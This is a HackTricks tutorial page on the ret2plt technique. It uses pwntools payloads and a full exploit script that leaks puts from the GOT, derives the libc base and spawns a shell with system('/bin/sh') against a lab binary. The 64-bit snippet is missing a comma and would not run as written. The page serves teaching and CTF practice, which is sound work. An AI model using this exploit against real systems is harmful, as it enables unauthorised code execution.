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110 lines
5.1 KiB
Markdown
110 lines
5.1 KiB
Markdown
# Ret2plt
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Basic Information
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The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
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This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
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```python
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# 32-bit ret2plt
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payload = flat(
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b'A' * padding,
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elf.plt['puts'],
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elf.symbols['main'],
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elf.got['puts']
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)
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# 64-bit
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payload = flat(
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b'A' * padding,
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POP_RDI,
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elf.got['puts']
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elf.plt['puts'],
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elf.symbols['main']
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)
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```
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Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of `puts`, this **entry will contain the exact address of `puts` in memory**.
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Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
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{% hint style="danger" %}
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Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and `main`. Otherwise, you need to bypass PIE first.
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{% endhint %}
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You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that example:
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```python
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from pwn import *
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elf = context.binary = ELF('./vuln-32')
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libc = elf.libc
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p = process()
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p.recvline()
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payload = flat(
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'A' * 32,
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elf.plt['puts'],
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elf.sym['main'],
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elf.got['puts']
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)
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p.sendline(payload)
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puts_leak = u32(p.recv(4))
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p.recvlines(2)
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libc.address = puts_leak - libc.sym['puts']
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log.success(f'LIBC base: {hex(libc.address)}')
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payload = flat(
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'A' * 32,
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libc.sym['system'],
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libc.sym['exit'],
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next(libc.search(b'/bin/sh\x00'))
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)
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p.sendline(payload)
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p.interactive()
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```
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## Other examples & References
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* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
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* 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
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* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
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* 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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